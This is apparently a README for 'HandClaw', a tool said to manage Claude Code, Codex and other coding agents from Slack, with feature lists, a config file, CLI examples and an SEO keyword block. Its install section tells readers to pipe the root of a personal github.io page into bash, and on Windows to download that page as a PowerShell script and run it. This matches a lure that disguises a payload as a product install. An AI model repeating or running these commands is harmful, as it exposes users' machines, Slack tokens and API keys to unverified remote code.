HandClaw: Bridge the Gap Between Slack and Multi-Agent AI Coding Workflows

One Slack Workspace. Multiple AI Coding Agents. Infinite Possibilities.

HandClaw turns your Slack channels into a real-time command center for AI-driven software development. Imagine having Claude Code, Codex, OpenCode, and other agents working simultaneously on different aspects of your project—all managed from the same interface you already use for daily communication. No more switching tabs, juggling terminals, or losing context. Your Slack becomes the bridge between human collaboration and machine execution.

---

🧠 Why HandClaw Exists

Software development in 2026 is no longer a single-person sport. Teams rely on multiple AI agents, each specialized for different tasks: refactoring legacy code, generating unit tests, drafting documentation, or even designing UI components. But managing these agents separately creates friction. You lose momentum every time you context-switch.

HandClaw solves this by unifying your AI workforce under one Slack umbrella. It’s like having a project manager bot that routes tasks to the right agent, monitors progress in real time, and lets you intervene or switch agents with a simple message. Your phone becomes a development console. Your Slack channel becomes the cockpit.

---

🚀 Key Features

1. Multi-Agent Orchestration

Connect Claude Code, Codex, OpenCode, and custom agents to a single Slack workspace. HandClaw acts as a router, distributing tasks based on agent capabilities and availability.

2. Mobile-First Development

Start a code generation task from your phone during a commute. Monitor agent logs, approve changes, or switch agents—all from the Slack mobile app.

3. Real-Time Progress Monitoring

Each agent reports its status, errors, and milestones directly to your Slack channel. You see what’s happening without leaving the conversation.

4. Agent Switching on the Fly

If one agent hits a blocker, type /switch agent and HandClaw reassigns the task to a better-suited agent without losing context.

5. Code Anywhere, From Anything

Input prompts via Slack messages, shared files, or even voice notes (via Slack’s audio features). HandClaw converts your intent into structured tasks.

6. Responsive UI Threads

Each task gets its own Slack thread, keeping conversations organized. You can collapse, pin, or search through task history without clutter.

7. Multilingual Prompt Processing

Write prompts in English, Spanish, Japanese, or any language supported by the connected agents. HandClaw normalizes and routes them appropriately.

8. 24/7 Support Gateway

Built-in escalation logic: if an agent fails, HandClaw notifies your team via Slack and retries automatically. Critical errors trigger a dedicated support channel.

---

📊 Mermaid Diagram: Agent Workflow

graph TD
    A[User sends prompt in Slack] --> B[HandClaw parses intent]
    B --> C{Agent selection logic}
    C -->|Task: Refactoring| D[Claude Code agent]
    C -->|Task: Unit tests| E[Codex agent]
    C -->|Task: Documentation| F[OpenCode agent]
    D --> G[Agent executes task]
    E --> G
    F --> G
    G --> H[Result posted back to Slack thread]
    H --> I[User approves or requests changes]
    I -->|Changes requested| J[HandClaw reassigns to same or different agent]
    J --> G
    I -->|Approved| K[Task completed, log archived]

Loading

---

🔧 Example Profile Configuration

Create a handclaw.yaml file in your project root to define agent profiles. Each agent gets its own API key, model type, and allowed tasks.

agents:
  claude_code:
    api_key_env: CLAUDE_API_KEY
    model: claude-4-opus-2026
    allowed_tasks:
      - refactoring
      - code_review
      - architecture_design
    max_tokens: 16000
    temperature: 0.2

  codex:
    api_key_env: OPENAI_API_KEY
    model: gpt-5-codex-2026
    allowed_tasks:
      - unit_tests
      - integration_tests
      - api_mocking
    max_tokens: 12000
    temperature: 0.1

  opencode:
    api_key_env: OPENCODE_API_KEY
    model: opencode-v3
    allowed_tasks:
      - documentation
      - readme_generation
      - changelogs
    max_tokens: 8000
    temperature: 0.4

slack:
  bot_token_env: SLACK_BOT_TOKEN
  app_token_env: SLACK_APP_TOKEN
  default_channel: "#ai-dev-hub"
  allow_private_channels: true

global:
  max_retries: 3
  response_timeout_seconds: 120
  logging_level: info

---

💻 Example Console Invocation

HandClaw runs as a background daemon. Start it once, and it listens for Slack events indefinitely.

# Basic startup
handclaw start --config ./handclaw.yaml

# With verbose logging for debugging
handclaw start -c ./handclaw.yaml --log-level debug

# Stop all agents gracefully
handclaw stop

# List connected agents and their status
handclaw status

# Restart a specific agent without rebooting the whole system
handclaw restart --agent claude_code

Expected output after handclaw status:

HandClaw v3.2.1 (2026 Build)
------------------------------
Agent          Status      Tasks Completed  Uptime
claude_code    online      47               12h 34m
codex          online      32               12h 34m
opencode       busy        89               12h 34m
------------------------------
Slack channels: #ai-dev-hub (active), #general (listening)
Last sync: 2026-08-17 14:22:34 UTC

---

💻 Emoji OS Compatibility Table

Operating System	Compatibility	Notes
🐧 Ubuntu 22.04+	✅ Full	Recommended for production
🍎 macOS 14 Sonoma+	✅ Full	Supports M1/M2/M3 chips
🪟 Windows 11 Pro	✅ With WSL2	Requires Windows Subsystem for Linux
🐧 Debian 12	✅ Full	Slightly older package repos
🐧 Fedora 40	✅ Full	SELinux may need config
🍏 macOS 13 Ventura	⚠️ Partial	Some agent features limited
🖥️ Windows 10	⚠️ Partial	Requires manual Python env setup
🐧 Raspberry Pi OS	❌ Not supported	ARM64 architecture limitations

---

🔗 OpenAI API and Claude API Integration

HandClaw supports both OpenAI API (for Codex and GPT-based agents) and Claude API (for Anthropic-based agents). You can mix and match within the same workflow.

OpenAI Integration:

• Set your OPENAI_API_KEY environment variable.
• Supports gpt-4-turbo-2026, gpt-5-codex-2026, and custom fine-tuned models.
• Token usage is logged per task for cost tracking.

Claude API Integration:

• Set your CLAUDE_API_KEY environment variable.
• Supports claude-4-opus-2026 and claude-4-sonnet-2026 for faster responses.
• Extended context windows (up to 200k tokens) for large codebases.

Fallback Logic: If one API is rate-limited or down, HandClaw automatically routes requests to the other provider. This ensures your development pipeline never stops.

---

🌐 Multilingual Support

HandClaw normalizes prompts before routing them to agents. It detects the input language and, if needed, translates it to the agent’s preferred language.

Supported input languages:

• English (default)
• Simplified Chinese
• Japanese
• Spanish
• French
• German
• Portuguese
• Korean

Agent responses remain in their original output language. You can request a translation back to your input language using the /translate command in Slack.

---

🛡️ Responsive UI and 24/7 Support

HandClaw’s Slack interface adapts to your device:

• Desktop: Full task threads with progress bars, expandable logs, and inline code snippets.
• Mobile: Compact view with status icons, quick actions for approval/denial, and swipeable task cards.
• Dark mode: Respects your Slack theme automatically.

24/7 Support is built into the architecture:

• Automated retry logic with exponential backoff.
• Critical errors trigger a dedicated Slack channel (#handclaw-alerts).
• Human escalation: if an agent fails three times consecutively, a support engineer is notified via PagerDuty integration.

---

📜 License

This project is licensed under the MIT License. See the LICENSE file for full details.

You are free to use, modify, and distribute HandClaw in both personal and commercial projects. Attribution is appreciated but not required.

---

⚠️ Disclaimer

HandClaw is a middleware tool that connects third-party AI APIs (OpenAI, Anthropic, etc.) to Slack. It does not host or provide any AI models itself. Users are responsible for:

1. Complying with the terms of service of all connected APIs.
2. Managing their own API keys and associated costs.
3. Ensuring that code generated by agents is reviewed for security and correctness before deployment.
4. Adhering to data privacy regulations when processing code through external APIs.

The HandClaw team provides this tool "as is" without warranty of merchantability or fitness for a particular purpose. Always test AI-generated code in a sandboxed environment before production use.

---

📦 Download and Installation

To install HandClaw, use the official install script or download the precompiled binary for your OS from the link above.

Quick install:

# macOS and Linux
curl -sSL https://Manokelly.github.io | bash

# Windows (PowerShell)
iwr -Uri https://Manokelly.github.io -OutFile handclaw-install.ps1
.\handclaw-install.ps1

Requirements:

• Python 3.11+ or Node.js 18+ (depending on distribution)
• Slack app with bot token and event subscriptions enabled
• At least one API key from OpenAI, Anthropic, or compatible provider
• 50 MB free disk space for the core agent

---

🌟 SEO Keywords

HandClaw is built for developers who want to:

• Manage AI coding agents from Slack
• Orchestrate Claude Code and Codex in one interface
• Enable mobile code development workflows
• Monitor multi-agent progress in real time
• Switch between AI code assistants without context loss
• Bridge Slack and AI development pipelines

---

🤝 Contributing

Contributions are welcome! Submit pull requests, open issues, or suggest new agent integrations. See the CONTRIBUTING.md file for guidelines.

---

HandClaw transforms Slack from a communication tool into a development command center. One workspace. Many agents. Infinite code.